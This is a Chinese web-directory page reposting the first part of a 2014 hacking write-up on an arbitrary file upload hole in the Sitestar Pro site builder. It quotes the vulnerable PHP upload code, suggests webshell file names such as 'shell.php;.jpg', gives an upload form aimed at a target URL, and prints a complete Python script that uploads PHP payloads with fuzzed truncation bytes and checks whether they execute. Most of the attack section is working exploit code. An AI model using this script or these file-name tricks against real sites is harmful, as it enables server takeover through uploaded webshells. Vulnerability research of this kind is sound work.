网站目录收录网站方式:1.人工手动审核。2.自助审核(你的网站在权重3、PR4以上,挂上本站友链->点击友链->自动审核通过。)
北京 天津 上海 广东 深圳 河北 河南 新疆 重庆 四川 贵州 湖南 湖北 云南 广西 宁夏 青海 甘肃 陕西
西藏 海南 山东 福建 安徽 浙江 吉林 山西 江西 江苏 辽宁 黑龙 内蒙 澳门 香港 台湾 日本 韩国 美国
当前位置:站长啦网站目录 » 新闻资讯 » 站长新闻 » 漏洞预警 » 文章详细 订阅RssFeed

建站之星模糊测试实战之任意文件上传漏洞下载

来源:黑吧安全网 浏览:1027次 时间:2014-04-28
简介:GOOGLE翻来翻去 #$%^&^&*Q:只能通过"%00"、"?"、"///....//"才能截断? 是真的吗?A: 答案是肯定的:NO!NO!NO!只有实践才能出真知!GO..

GOOGLE翻来翻去 #$%^&^&*
Q:只能通过"%00"、"?"、"///////////....//////"才能截断? 是真的吗?
A: 答案是肯定的:NO!NO!NO!
只有实践才能出真知!GO...

#1 Sitestar

美橙互联又一力作,建站之星专业版(Sitestar Pro),

无拘无束,信手拈来,创意无限,不拘一格,轻松创建属于您自己的网站!



#2 漏洞的产生

/module/mod_tool.php 第89行起,img_create()函数

 

public function img_create() {
$file_info =& ParamHolder::get('img_name', array(), PS_FILES);
if ($file_info['error'] > 0) {
Notice::set('mod_marquee/msg', __('Invalid post file data!'));
Content::redirect(Html::uriquery('mod_tool', 'upload_img'));
}
//exit($file_info["name"]);
if(!preg_match('/\.('.PIC_ALLOW_EXT.')$/i', $file_info["name"])) {
//echo '2222';
Notice::set('mod_marquee/msg', __('File type error!'));
Content::redirect(Html::uriquery('mod_marquee', 'upload_img'));
}
if(file_exists(ROOT.'/upload/image/'.$file_info["name"])) {
$file_info["name"] = Toolkit::randomStr(8).strrchr($file_info["name"],".");
}
if (!$this->_savelinkimg($file_info)) {
Notice::set('mod_marquee/msg', __('Link image upload failed!'));
Content::redirect(Html::uriquery('mod_marquee', 'upload_img'));
}



上述关键的代码

 

if(!preg_match('/\.('.PIC_ALLOW_EXT.')$/i', $file_info["name"])) {
Notice::set('mod_marquee/msg', __('File type error!'));
Content::redirect(Html::uriquery('mod_marquee', 'upload_img'));
}



其中 PIC_ALLOW_EXT 为 gif|jpg|png|bmp 即如果文件名最后不是gif|jpg|png|bmp,则提示文件类型错误

我们继续往下看...

 

if (!$this->_savelinkimg($file_info)) {
Notice::set('mod_marquee/msg', __('Link image upload failed!'));
Content::redirect(Html::uriquery('mod_marquee', 'upload_img'));
}



跟进_savelinkimg函数 736行-741行

 

private function _savelinkimg($struct_file) {
$struct_file['name'] = iconv("UTF-8", "gb2312", $struct_file['name']);
echo $struct_file['name'];
move_uploaded_file($struct_file['tmp_name'], ROOT.'/upload/image/'.$struct_file['name']);
return ParamParser::fire_virus(ROOT.'/upload/image/'.$struct_file['name']);
}



其中我们关心的是move_uploaded_file函数

 

move_uploaded_file($struct_file['tmp_name'], ROOT.'/upload/image/'.$struct_file['name']);



看见没有,直接用我们上传的的文件名作为最终写进硬盘的文件名

到这里,我们可以简单对其进行利用

上传类似如下文件:shell.php;.jpg 或shell.php.a;.jpg 利用解析漏洞即可利用,但这并不是我们今天所要讲的内容,SO 继续....

#3 尝试漏洞利用

既然文件名是我们上传的文件名,那我们用截断上传试试呢...

首先我们尝试最最最常用的截断方法: %00

为方便调试,我们加入调试代码

 

if(!preg_match('/\.('.PIC_ALLOW_EXT.')$/i', $file_info["name"])) {
exit("Error,不能截断.");//调试代码
Notice::set('mod_marquee/msg', __('File type error!'));
Content::redirect(Html::uriquery('mod_marquee', 'upload_img'));
}



同时将如下代码保持为sitestar.htm

 

<form id="Upload" enctype="multipart/form-data" action="http://www.vulns.org/sitestar/index.php?_m=mod_tool&_a=img_create" method="post">
<input type="file" name="img_name" id="img_id" size="50">
<input id="btnUpload" type="submit" value="Upload">
</form>



打开sitestar.htm,Burpsuite抓包 采用%00截断:

输出了我们的调试代码

看见了吧,不能成功的被截断,那我们是不是就到此为止了呢? 显然 答案是NO!

额 !!想起来了...我们都知道Fuzzing很强大... SO 继续吧...

#4 Fuzzing成功利用

丢一真理:实践出真知,各位看官们 眼睛睁大了...

为了能Fuzzing,看来还得码代码啊,首先抓个上传的包,方便代码中用

这里我们用py写Fuzzing的代码,好吧 我已经给各位写好啦

 

#D:\Python27\python.exe
#coding = utf-8

import os
import re
import sys
import random
import urllib2
import urllib

def hex_to_asc(ch):
return '{:c}'.format(int(float.fromhex(ch)))

def rand5str(num):
sts = ''
char = '1234567890abcdexyz'
for i in range(num):
sts += random.choice(char)
return sts

def postdata(strr):
global sname
sname = rand5str(8)
data = '------WebKitFormBoundaryFz8xcpseXipPJz6Q\r\n'
data +='Content-Disposition: form-data; name="img_name"; filename="%s.php%s;a.gif"\r\n' % (sname,strr)
data +='Content-Type: image/gif\r\n'
data +='\r\n'
data +='GIF89a<script language=\'php\'>\r\n'
data +='phpinfo();\r\n'
data +='------WebKitFormBoundaryFz8xcpseXipPJz6Q--\r\n'
return data

def Fuzzing(mstr,url,cookie):
posturl = "%s/sitestar/index.php?_m=mod_tool&_a=img_create" % url
headers = {
'User-Agent' : 'Googlebot/2.1 (+http://www.google.com/bot.html)',
'Content-Type' : 'multipart/form-data; boundary=----WebKitFormBoundaryFz8xcpseXipPJz6Q',
'Cookie': cookie
}
hexstr = hex_to_asc(mstr)
posts = postdata(hexstr)
request = urllib2.Request(posturl, posts, headers)
response = urllib2.urlopen(request)
htmls = response.read()
response.close()

fuzzurl = "%s/sitestar/upload/image/%s.php" % (url,sname)
try:
resp = urllib2.urlopen(fuzzurl)
html = resp.read()
reg = re.search(r'<style type="text/css">',html)
if reg is not None:
print '%%%s is --> OK..' % mstr
except:
print '%%%s is -> No..' % mstr

if __name__=="__main__":
if len(sys.argv)<4:
print '\n sitestar_upload.py -u <url> -c <cookie>'
os._exit(0)
url = sys.argv[2]
cookie = sys.argv[4]
if 'http://' not in url:
url = 'http://%s'%url

for i in range(100):
s = '%02d' % i
Fuzzing(s,url,cookie)

[1] [2]  下一页


0

版权与免责声明:

凡注明稿件来源的内容均为转载稿或由网友用户注册发布,本网转载出于传递更多信息的目的;如转载稿涉及版权问题,请作者联系我们,同时对于用户评论等信息,本网并不意味着赞同其观点或证实其内容的真实性;


本文地址:https://top.cnzzla.com/artinfo/759.html

好玩的手游下载

猜你喜欢

推荐站点

  • 福州小程序开发福州小程序开发

    福州好小蚁科技提供专业的微信小程序开发、软件定制、手机APP开发、网站开发等高端定制外包服务,价格美丽,服务周到.一对一项目对接,不满意退全款!预约电话:13107632710 胡小春!福州好小蚁科技有限公司是福建福州网站app等技术开发优秀网络公司。

    www.fzant.com
  • 世界时间网世界时间网

    世界时间网为您提供世界各地精准时间,北京时间校准器,标准时间,世界各地时间与北京时间对比,时间换算等,希望对您有所帮助。

    top.cnzzla.com/time
  • 科技镇科技镇

    科技镇 | 关注科技、娱乐、人文、生活!

    www.kejizhen.com
  • 心动网址导航心动网址导航

    心动网址导航精选了国内国外著名的网站、好玩的、好看的、有趣的国内国外网站以及实用的、优秀的国内国外网站,包括国外视频、国外购物、国外交友、国外新闻等多种类型 同时提供精品行业分类目录提交,让用户全方位了解国内国外互联网动态!

    xd00.com
  • 门户网址-优秀网站导航门户网址-优秀网站导航

    门户网址-优秀网站导航,精选网址导航,免费分类目录提交,实用酷站大全。

    top.mhwz.cn

最新优秀网站